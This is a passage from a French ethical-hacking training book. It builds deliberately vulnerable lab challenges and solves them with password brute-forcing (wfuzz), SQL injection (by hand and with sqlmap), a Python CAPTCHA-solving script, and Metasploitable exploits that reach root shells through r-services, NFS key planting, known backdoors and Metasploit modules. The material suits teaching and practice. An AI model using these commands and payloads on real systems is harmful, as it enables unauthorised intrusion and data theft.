information du menu Forms et trouvons les informations suivantes :
Pour conduire notre attaque, nous allons encore utiliser wfuzz. Voici la ligne de commande
utilisée :
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z
file,wordlist/general/medium.txt --hc 404 -d
"login=admi&form=1&passwd=FUZZ"
http://192.168.2.50/epreuve5/index.php
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Target: http://192.168.2.50/epreuve5/index.php
Payload type: file,wordlist/general/medium.txt
Total requests: 1660
==================================================================
ID Response Lines Word Chars Request
==================================================================
00001: C=200 94 L 168 W 2272 Ch " - 00"
00002: C=200 94 L 168 W 2272 Ch " - 0"
00003: C=200 94 L 168 W 2272 Ch " - 01"
00004: C=200 94 L 168 W 2272 Ch " - 03"
00005: C=200 94 L 168 W 2272 Ch " - 02"
00006: C=200 94 L 168 W 2272 Ch " - 1"
00007: C=200 94 L 168 W 2272 Ch " - 10"
00008: C=200 94 L 168 W 2272 Ch " - 100"
00010: C=200 94 L 168 W 2272 Ch " - 20"
00011: C=200 94 L 168 W 2272 Ch " - 1000"
00012: C=200 94 L 168 W 2272 Ch " - 200"
00009: C=200 94 L 168 W 2272 Ch " - 123"
Nous voyons défiler toutes les requêtes POST avec tous les mots de passe testés. Mais
comment savoir celui qui est le bon ? C’est probablement celui qui va renvoyer une page
différente, donc une page qui ne comporte pas 2 272 caractères. Nous reprenons notre ligne de
commande en cachant les retours à 2 272 caractères.
root@bt:/pentest/web/wfuzz# python wfuzz.py -c -z
file,wordlist/general/medium.txt --hc 404 --hh 2272 -d
"login=admin&form=1&passwd=FUZZ"
http://192.168.2.50/epreuve7/index.php
/pentest/web/wfuzz/iterations.py:17: DeprecationWarning:
object.__init__() takes no parameters
itertools.product.__init__(self, *i)
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Target: http://192.168.2.50/epreuve7/index.php
Payload type: file,wordlist/general/medium.txt
Total requests: 1660
==================================================================
ID Response Lines Word Chars Request
==================================================================
00414: C=200 94 L 172 W 2316 Ch " - cynthia"
root@bt:/pentest/web/wfuzz#
Et voici notre mot de passe découvert.
5. L’accès aux bases de données
a. Implémentation de la sixième épreuve
Pour cette épreuve, nous allons avoir besoin de créer une base de données. Celle-ci va
contenir des comptes utilisateurs et une information, la clé de l’épreuve, dans une table. Cette
dernière information ne doit normalement pas être accessible à l’utilisateur. La trouver sera le
but de l’épreuve.
Commençons par créer la base (livres), les tables (livres et clef_epreuve) et insérer des
données. Voici les commandes SQL qui vous permettront de la reproduire.
CREATE TABLE `clef_epreuve` (
`clef` varchar(20) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `clef_epreuve` VALUES (’As81Cfoab4’);
CREATE TABLE `livres` (
`ref` int(11) DEFAULT NULL,
`titre` varchar(30) DEFAULT NULL,
`auteur` varchar(30) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
INSERT INTO `livres` VALUES (342,’ PHP5’,’Damien Seguy,Philippe
Gamache’),(426,’Ethical Hacking’,’ACISSI’),(532,’seaux’,’Andrew
Tanenbaum’);
Il est nécessaire dans ce type d’épreuve de bien limiter les droits de l’utilisateur qui sera
utilisé par les scripts PHP. Ici, un droit de lecture des données de la base est suffisant. Entrons
dans l’interpréteur MySQL et créons cet utilisateur :
mysql> GRANT select ON livres.* TO ep6@localhost IDENTIFIED BY
’acissi!2011’;
Passons à la modification des scripts PHP. Comme pour toutes les autres épreuves, nous
avons copié la structure de dossier de l’épreuve 1 dans le dossier epreuve6.
Nous implémentons dans le fichier fonctions.php un formulaire permettant la recherche d’un
livre en fonction de sa référence.
elseif ( $id==5 )
{
// ***** page 5 rechercher livre *****
?>
<div class="header">
<h3>Livres</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>Vous pouvez saisir la référence d’un livre pour
déterminer s’il est disponible.</p>
<p>
<form action="index.php" method="post" id="sc">
<input type="text" name="q" id="q" value="" class="q"/>
<input type="hidden" name="form" value="1">
<input type="submit" name="submit" id="submit" value="Rechercher"
/>
</form>
</p>
</div>
<?php }
Il faut ensuite ajouter dans ce même fichier le code permettant d’afficher le résultat de cette
recherche.
//*** traitement du POST ***
elseif ($type=="POST")
{
if ( $id==1)
{
echo "<h3>Résultat de la recherche</h3>";
$con=mysql_connect( $server=’localhost’, $username=’ep6’,
$password=’acissi!2011’);
$db=mysql_select_db(’livres’);
$ref=$_POST[’q’];
$requete=’SELECT * FROM livres WHERE ref=’.$ref;
$result=mysql_query($requete);
if ( $result ) {
$row=mysql_fetch_array($result, MYSQL_ASSOC);
if ( $row ) {
echo "<p>Ce livre existe dans notre base</p>";
echo "<p>Titre : ".$row[’titre’]."</br>";
echo "Auteur : ".$row[’auteur’]."</p>";
}
else {
echo "<p>Ce livre n’existe pas dans notre base</p>";
}
}
else {
echo "Erreur";
}
}
}
C’est fini, l’épreuve est prête.
b. Solution de la sixième épreuve
Pour commencer, nous étudions le comportement du formulaire de recherche proposé. Nous
faisons une recherche normale avec un livre qui existe et avec un livre qui n’existe pas. Quand
le livre n’existe pas, nous avons un message nous le signalant et quand le livre existe, nous
voyons apparaître son auteur et son titre.
Nous allons tester si le site est faillible aux injections. Saisissons dans le champ de recherche :
1 union select 1#
Le site nous renvoie une erreur. Ceci nous indique que notre requête a certainement provoqué
une erreur dans la base de données. Il semble donc qu’une injection soit possible mais nous
n’en avons pas encore la certitude. Continuons nos essais avec :
2 union select 1,2,3 #
Cette fois, nous voyons un résultat de recherche positif et le titre du livre est 2 avec un auteur
3. C’est certain à présent, le formulaire est réceptif à une injection. La requête comporte trois
champs et les champs 2 et 3 sont affichés dans la page.
Plutôt que de continuer à la main, nous disposons d’outils dans BackTrack capables d’extraire
toutes les données de la base. Nous allons utiliser sqlmap. La première étape, bien que nous
l’ayons déjà faite à la main, est de faire repérer par sqlmap les champs injectables. Voici la
commande et son résultat :
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1"
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database
takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets
without prior mutual consent is illegal. It is the end user’s
responsibility to obey all applicable local, state and federal
laws. Authors assume no liability and are not responsible for any
misuse or damage caused by this program
[*] starting at 10:28:28
[10:28:28] [INFO] resuming back-end DBMS ’mysql’
[10:28:28] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0
HTTP(s) requests:
---
Place: POST
Parameter: q
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: form=1&q=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL,
CONCAT(0x3a616c633a,0x4751514c427a64636f49,0x3a6179793a)#
---
[10:28:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5
[10:28:28] [INFO] fetched data logged to text files under
’/pentest/database/sqlmap/output/192.168.2.50’
[*] shutting down at 10:28:28
Nous visualisons l’injection réalisée par sqlmap. Ce n’est pas la même injection que nous
avions effectuée à la main, mais la conclusion est identique : il y a trois colonnes dans la
table.
Poursuivons l’injection et demandons à sqlmap d’extraire les données de la base. Voici la
commande et un extrait des réponses obtenues :
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1" -dump
Database: livres
Table: clef_epreuve
[1 entry]
+------------+
| clef |
+------------+
| As81Cfoab4 |
+------------+
Database: livres
Table: livres
[3 entries]
+-----+-----------------+-------------------------------+
| ref | titre | auteur |
+-----+-----------------+-------------------------------+
| 342 | PHP5 | Damien Seguy,Philippe Gamache |
| 426 | Ethical Hacking | ACISSI |
| 532 | seaux | Andrew Tanenbaum |
+-----+-----------------+-------------------------------+
La clé recherchée est trouvée sans problème.
6. Passer les CAPTCHA
a. Implémentation de la septième l’épreuve
Afin d’éviter que des botnet puissent remplir des formulaires, créer des comptes, faire des
attaques par force brute, etc., il est courant de trouver des CAPTCHA (Completely Automated
Public Turing test to tell Computers and Humans Apart) lors de la saisie de formulaires.
Ceux-ci peuvent prendre différentes formes, dont la plus courante est la lecture de chiffres et
de lettres dans une image. L’objectif de l’épreuve sera donc de prouver qu’un script est
capable de saisir un formulaire et de le valider sans l’intervention de l’homme. Passons à la
mise en œuvre de l’épreuve.
Nous créons une page qui permet de poser une question grâce à un formulaire. Celui-ci sera
protégé par un CAPTCHA. Voici le code du formulaire :
// ***** page 5 question *****
$_SESSION[’code’]=gencode();
?>
<div class="header">
<h3>Question</h3>
<div class="date">20 avril 2013</div>
</div>
<div class="content">
<p>
<form action="index.php" method="POST" name="formjs1"
id="formjs1">
<fieldset>
<legend> Question</legend>
Votre pseudo : <input type="text"
name="pseudo"><br>
Votre question : <input type="test" name="question">
<hr />
<img src="images/code.php" alt="captcha" >
<br />Inscrivez le code écrit ci-dessus.<br />
Réponse : <input
type="text" name="captcha">
<input type="hidden" name="form" value="1">
<input type="submit" id="valider" name="validr"
value="valider">
</fieldset>
</form>
<p>Saurez-vous poser 5 questions en moins de 10 secondes ? Vous
pouvez si vous n’êtes pas un homme.</p>
</p>
</div>
<?php }
Au début de celui-ci, nous générons un code aléatoire que nous plaçons dans une variable de
session. Il faut implémenter le code de cette fonction dans le fichier fonctions.php, la voici :
function gencode() {
$carac="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123
456789";
$code="";
for ($i=0;$i<6;$i++)
{
$pos=rand(0,strlen($carac)-1);
$code=$code.substr($carac,$pos,1);
}
return $code;
}
Dans le formulaire, une image nommée code.php est placée. Ce sera le CAPTCHA. Cette
image est en fait un code PHP qui va générer une image au format PNG en fonction de la
variable de session code. Ce script est placé dans le dossier images. Voici son code :
<?php
session_start();
$code=$_SESSION[’code’];
header("Content-type: image/png");
//création du canevas de l’image 300x300
$im = imagecreate(200,50);
//création de la palette des couleurs
$noir = imagecolorallocate($im, 0, 0, 0);
$jaune = imagecolorallocate($im, 255, 255, 0);
$rouge = imagecolorallocate($im,255,0,0);
$vert = imagecolorallocate($im,0,255,0);
$blanc = imagecolorallocate($im,255,255,255);
$gris = imagecolorallocate($im,100,100,100);
imagefilledrectangle($im,0,0,200,50,$blanc);
// Définition de la variable d’environnement pour GD
putenv(’GDFONTPATH=’ . Realpath(’.’));
$font = ’DejaVuSansMono.ttf’;
//écriture d’un code
for ($x=0;$x<=6;$x=$x+3)
{
$txt=substr($code,$x,1);
$angle = rand(-20,20);
$espace=30;
imagettftext($im,20,$angle,10+$espace*$x,30,$jaune,$font,
$txt);
$txt=substr($code,$x+1,1);
$angle = rand(-20,20);
imagettftext($im,20,$angle,10+$espace*($x+1),30,$rouge,
$font,$txt);
$txt=substr($code,$x+2,1);
$angle = rand(-20,20);
imagettftext($im,20,$angle,10+$espace*($x+2),30,$vert,$font,
$txt);
}
//création de l’image en png
imagepng($im);
imagedestroy($im);
?>
Pour que cette image puisse être générée sans problème, il faut disposer de la police
DejaVuSans.ttf dans le dossier images. Nous copions celle-ci du dossier
/usr/share/fonts/truetype.
root@WEB1:/home/web/www/epreuve7# cp
/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf
/home/web/www/epreuve7/images/
Notre formulaire est prêt. Il faut à présent implémenter la validation de celui-ci. Pour prouver
que ce sera bien un script qui valide le formulaire, le mieux est de compter un nombre de
validations par seconde qu’un homme sera incapable de faire. Donc, dès la première
validation, nous déclenchons une sorte de chronomètre et nous n’aurons que 10 secondes pour
faire 5 validations. Cette information sera donnée à celui qui veut résoudre cette épreuve.
Voici le code de validation du formulaire que nous implémentons sous la forme d’une
fonction :
function val_captcha($valeur)
{
//echo $valeur."<br />";
//echo $_SESSION[’valeur’]."<br />";
$temps=10;
//initialisation du temps
if (!($_SESSION[’temps’]>0)) $_SESSION[’temps’]=time();
echo "temps initial : ".$_SESSION[’temps’]."<br />";
$reste = $temps-(time()-$_SESSION[’temps’]);
//echo "temps restant : ".$reste."<br />";
if (preg_match("#[A-Za-z0-9]{6}#", $valeur))
{
echo $_SESSION[’code’]."<br />";
if ($valeur==$_SESSION[’code’]) {
switch($_SESSION[’etape’]) {
case 1 :
if ($reste>=0)
$_SESSION[’etape’]=2; else $_SESSION[’etape’]=0;
echo "Validation n° ".
$_SESSION[’etape’]."<br />";
break;
case 2 :
if ($reste>=0)
$_SESSION[’etape’]=3; else $_SESSION[’etape’]=0;
echo "Validation n° ".
$_SESSION[’etape’]."<br />";
break;
case 3 :
if ($reste>=0)
$_SESSION[’etape’]=4; else $_SESSION[’etape’]=0;
echo "Validation n° ".
$_SESSION[’etape’]."<br />";
break;
case 4 :
if ($reste>=0)
{
echo "Bravo, vous
avez gagné!<br />";
$i=7;
$IP=$_SERVER[REMOTE_ADDR];
$code="4QI85ccE00";
echo ’Votre clef de
validation est : <strong>’.$code.’</strong><br />’;
}
else $_SESSION[’etape’]=0;
break;
default:
$_SESSION[’etape’]=1;
echo "Validation n° ".
$_SESSION[’etape’]."<br />";
}
if ($reste<0) {
echo "TROP TARD!! Tentez à nouveau votre
chance<br />";
$_SESSION[’etape’]=0;
}
}
else {
echo "Mauvaise valeur";
}
}
else
{
echo "Erreur de saisie.<br />";
}
unset($_SESSION[’code’]);
}
Voilà, notre épreuve est prête. Nous devons visualiser correctement le CAPTCHA dans la
page Questions et celui-ci doit changer chaque fois que nous rafraîchissons la page.
b. Solution de la septième épreuve
Pour solutionner cette épreuve, il faut créer un programme qui réalise les tâches suivantes :
Appeler la page Questions pour générer le CAPTCHA
Télécharger l’image du CAPTCHA
Décoder le CAPTCHA
Poster le formulaire
Il faudra répéter ces opérations 5 fois en moins de 10 secondes. Nous choisissons d’écrire ce
script en Python et d’utiliser un logiciel de reconnaissance optique de caractères externe.
Nous prendrons gocr.
Commençons par installer gocr :
root@bt:~/ENI_captcha# aptitude install gocr
Nous allons expliquer le script progressivement. Le voici :
Nous commençons par indiquer que le script sera en UTF-8, puis nous importons les librairies
dont nous allons avoir besoin : urllib et urllib2 pour générer les requêtes GET et POST. Il
faut aussi cookielib pour conserver la session. Ensuite vient os pour pouvoir appeler une
commande externe, gocr. Enfin, nous devrons traiter un peu l’image pour aider gocr, pour
cela PIL (Python Imaging Library) sera parfait.
#!/usr/bin/env python
#--*-- coding: UTF-8 --*--
import urllib2, urllib, cookielib, os
from PIL import Image
Nous préparons les URL des requêtes utiles.
url_question="http://192.168.2.50/epreuve7/index.php?page=5"
url_image="http://192.168.2.50/epreuve7/images/code.php"
url_post="http://192.168.2.50/epreuve7/index.php"
Nous créons un objet permettant de garder la session.
urlOpener =
urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.
CookieJar()))
Nous initialisons le nombre de validations à 0.
nbrval=0
Nous commençons la boucle. Comme gocr ne va pas réussir à décoder l’image à chaque fois,
il faudra faire plus de 5 essais. Nous espérons quand même réussir à valider 5 fois sur 50.
for i in range(0,50):
Nous appelons le formulaire de questions pour générer une nouvelle image de CAPTCHA,
puis nous récupérons les données brutes de cette image et les enregistrons.
#Appel du formulaire des questions
rep_question=urlOpener.open(url_question)
captcha = urlOpener.open(url_image)
donnees = captcha.read()
img=open("captcha.png","w")
img.write(donnees)
.close()
L’image du CAPTCHA étant en couleur, elle sera difficilement interprétable par gocr. Nous
allons donc passer les lettres en noir. Pour cela, nous considérons que le point en haut à
gauche est de la couleur du fond. Tous les points n’étant pas de cette couleur sont alors passés
en noir. Une fois cette opération effectuée, nous enregistrons la nouvelle image.
#traitement image
im = Image.open("captcha.png")
im = im.convert("P")
fond = im.getpixel((1,1))
temp = {}
for x in range(im.size[1]):
for y in range(im.size[0]):
pix = im.getpixel((y,x))
temp[pix] = pix
if pix != fond:
im.putpixel((y,x),0)
im.save("captcha.png")
Il est temps de passer l’image dans gocr et de récupérer son retour. Nous affichons le résultat
de gocr pour information.
#Lecture image
os.system("gocr captcha.png > captcha.txt")
txt=open("captcha.txt","r")
txtcaptcha=txt.read()
txt.close()
txtcaptcha=txtcaptcha.rstrip()
print txtcaptcha
Nos informations peuvent être postées. Nous utilisons urlencode pour formater les données du
formulaire et postons celles-ci.
#Envoi captcha pour validation
valeurs = {’pseudo’ : ’codej’, ’question’ : ’captcha’,
’captcha’ : txtcaptcha , ’form’ : ’1’ }
data = urllib.urlencode(valeurs)
reponse=urlOpener.open(url_post,data)
Nous récupérons la page du retour du formulaire. Si celle-ci contient le mot « Validation »,
c’est que gocr a bien fait son travail. Nous comptons le nombre de validations réussies.
Arrivés à la cinquième validation réussie, nous affichons la page qui atteste de la validation de
l’épreuve.
page = reponse.read()
#Affichage
if nbrval<4 :
if "Validation" in page :
print ’Validation num :’+str(nbrval)+"
captcha : "+txtcaptcha
nbrval+=1
else :
if "Bravo" in page :
print page
break
Lançons le script. Voici un extrait de l’affichage qu’il provoque.
root@bt:~/ENI_captcha# python captcha.py
al7mR
X19zDW
OlmX
Oen4H9
cUY3fY
Validation num :0 captcha : cUY3fY
AtdQ5i
Validation num :1 captcha : AtdQ5i
TiEgP2
G4izC
y3njA4
Validation num :2 captcha : y3njA4
Ngg4
6Rl06B
vi4QAa
Validation num :3 captcha : vi4QAa
rglDQ
TdRb
oVmjh
...
<br />Bravo, vous avez gagné!<br />
Voilà, l’épreuve est validée.
Plateformes d’entraînement
Introduction
Afin de pouvoir tester tout type de machines, nous allons installer différents autres systèmes
tels que Windows ou des machines faillibles « clés en main » comme Metasploitable ou
Webgoat.
Metasploitable
Metasploitable est une machine virtuelle sous Linux vulnérable. Cette VM peut être utilisée
pour s’entraîner au pentesting (test de pénétration), tester des outils de sécurité tels que
metasploit et pratiquer les techniques usuelles de pénétration de systèmes.
Nous pouvons télécharger cette machine virtuelle à cette adresse :
http://information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web
Le login et mot de passe par défaut sont msfadmin et msfadmin.
Dès que nous aurons récupéré cette machine, nous devrons extraire le fichier (fichier zip) et
l’installer dans notre Proxmox comme nous vous l’avons expliqué dans le chapitre Proxmox.
Une fois la machine installée et lancée, nous devrions arriver sur l’écran suivant :
Nous pouvons donc nous connecter sur la machine avec l’identifiant msfadmin et le mot de
passe msfadmin et effectuer un ifconfig afin de déterminer l’adresse MAC et l’adresse IP.
L’adresse IP est donc pour cette machine 192.168.1.131 et son adresse MAC,
00:0c:29:9a:52:c1.
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
inet addr:192.168.1.131 Bcast:192.168.99.255
Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
La première chose que nous ferons si nous le souhaitons est de changer le mot de passe de
l’administrateur msfadmin.
msfadmin@metasploitable:~$ passwd
Changement du mot de passe pour fasm.
Mot de passe UNIX (actuel) :
Nous pourrons bien sûr passer cette machine en DHCP afin que notre serveur vu au chapitre
Machines virtuelles et services puisse lui fournir une adresse fixe. C’est pour cela que nous
avons besoin de l’adresse MAC.
1. Liste des services
De notre machine attaquante, une KaliLinux par exemple, nous pouvons essayer d’identifier
les services qui tournent sur cette machine avec par exemple l’excellent outil nmap. La
commande suivante scannera tous les ports TCP sur la machine distante Metasploit :
root@ubuntu:~# nmap -p0-65535 192.168.1.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
Chacun de ces points d’entrée est susceptible de comporter une faille quelconque.
2. Services : les bases UNIX
Les ports TCP 512, 513 et 514 sont connus comme des services « r » (Berkeley r-services et r-
commands tels que rsh, rexec et rlogin), et ont été mal configurés pour autoriser un accès à
distance de n’importe quel hôte. Pour pouvoir tirer parti de ces failles, il va nous falloir être
sûrs que rsh-client est installé et nous pourrons lancer la commande suivante en tant que root
sur la machine attaquante. Si une demande nous est faite d’une clé SSH, cela voudra dire que
l’utilitaire rsh-client n’est pas installé et que le système utilise par défaut SSH.
# rlogin -l root 192.168.1.131
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i686
root@metasploitable:~#
C’est aussi simple que cela. Le prochain service que nous allons regarder est le Network File
System (NFS est un protocole qui permet aux ordinateurs d’accéder à des fichiers via un
réseau). NFS peut être identifié en testant le port 2049 directement ou en demandant la liste
des services au portmapper (processus qui analyse les paquets arrivant sur une interface et qui
les route selon leur adresse et leur port de destination). L’exemple ci-après utilise rpcinfo pour
identifier NFS et showmount -e pour déterminer que le partage "/" (le root du système de
fichiers) est exporté. Nous aurons besoin des paquets rpcbind et nfs-common pour suivre cela.
root@ubuntu:~# rpcinfo -p 192.168.1.131
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 53318 status
100024 1 tcp 43729 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 46696 nlockmgr
100021 3 udp 46696 nlockmgr
100021 4 udp 46696 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
100021 3 tcp 55852 nlockmgr
100021 4 tcp 55852 nlockmgr
100005 1 udp 34887 mountd
100005 1 tcp 39292 mountd
100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
100005 3 udp 34887 mountd
100005 3 tcp 39292 mountd
root@ubuntu:~# showmount -e 192.168.1.131
Export list for 192.168.1.131:
/ *
Obtenir un accès à un système avec un système de fichiers en écriture est une chose triviale.
Pour faire cela (et parce que ssh tourne), nous allons générer une clé SSH sur notre machine
attaquante, monter l’export NFS et ajouter notre clé au compte de l’utilisateur root (fichier
authorized_keys) :
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.1.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh [email protected]
Last login: Fri Jun 1 00:29:33 2012 from 192.168.1.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00
UTC 2008 i686
root@metasploitable:~#
3. Services : Backdoors
Sur le port 21, Metasploitable fait tourner vsftpd, le FTP que nous avons configuré au
chapitre Machines virtuelles et services. Cette version, ici la version 2.3.4, comporte une
backdoor qui a été ajoutée au service par un intrus. La version contenant la backdoor a été
mise à disposition sur le web et s’est donc propagée.
La backdoor a été très vite identifiée et enlevée, mais pas assez rapidement puisque beaucoup
de personnes ont eu le temps de télécharger la version concernée.
Si un nom qui se termine par « :) » est envoyé, la backdoor ouvre le port 6200 et lance un
shell en écoute sur ce port.
Nous pouvons démontrer cela avec telnet ou utiliser un module de Metasploit pour l’exploiter
automatiquement :
root@ubuntu:~# telnet 192.168.1.131 21
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ’ˆ]’.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
ˆ]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.1.131 6200
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ’ˆ]’.
id;
uid=0(root) gid=0(root)
Sur le port 6667 de Metasploitable tourne un démon IRC, UnreaIRCD. Cette version contient
une backdoor qui n’a pas été identifiée pendant des mois, déclenchée lorsque les lettres
« AB » suivies par une commande système lui sont envoyées sur n’importe quel port en
écoute. Metasploit a un module qui l’exploite afin d’obtenir un shell interactif comme montré
ci-dessous.
Msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.1.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn’t resolve your
hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 ->
192.168.1.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
Une autre et très vieille backdoor, « ingreslock », écoute sur le port 1524. Pour y accéder, rien
de plus simple :
root@ubuntu:~# telnet 192.168.1.131 1524
Trying 192.168.1.131...
Connected to 192.168.1.131.
Escape character is ’ˆ]’.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
Services:Unintentional Backdoors
En plus des backdoors vues précédemment, quelques services sont des sortes de backdoors
par leur nature. Le premier est distccd. Distccd est le serveur du compilateur réparti distcc. Il
exécute les tâches de compilation qui lui sont confiées en réseau par ses clients.
Distcc peut être exécuté soit sur TCP, soit par une commande de connexion telle que ssh : les
connexions TCP sont rapides mais peu sûres ; les connexions SSH sont sécurisées mais plus
lentes.
Le problème avec ce service est qu’un attaquant peut aisément le contourner pour lancer une
commande de son choix. Nous allons démontrer cela en utilisant un module Metasploit.
Msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.1.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 ->
192.168.1.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba est une implémentation libre des protocoles SMB (Server Message Block) et CIFS
(Common Internet File System).
Samba fournit des services et fichiers d’impression pour des clients Windows et peut
s’intégrer à un domaine Windows Server.
Samba, lorsqu’il est configuré avec un fichier partagé en écriture et avec l’option « wide links
» validée (« on » par défaut), peut aussi être utilisé comme une backdoor de façon à accéder à
des fichiers qui n’ont pas été partagés. L’exemple ci-dessous utilise un module Metasploit
pour obtenir un accès au système de fichiers de l’utilisateur root avec une connexion
anonyme.
root@ubuntu:~# smbclient -L //192.168.1.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable
server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable
server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server...
[*] Trying to mount writeable share ’tmp’...
[*] Trying to link ’rootfs’ to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.1.131\tmp\rootfs\
msf auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.1.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as
/tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2
KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
4. Vulnerable Web Services
Des vulnérabilités web sont préinstallées dans Metasploitable. Le serveur web se lance
automatiquement quand Metasploitable est démarré. Pour accéder à ces applications web,
nous ouvrirons un navigateur web et nous connecterons sur l’URL http://<IP> où <IP> est
l’adresse de Metasploitable.
Dans l’exemple, Metasploitable tourne à l’adresse IP 192.168.56.101. Donc nous entrerons
http://192.168.56.101/ comme montré dans l’image ci-dessous.
Pour accéder aux applications web particulières, il suffit de cliquer sur les liens de la page
d’accueil.
D’autres applications web peuvent être accessibles en indiquant un répertoire dans l’URL :
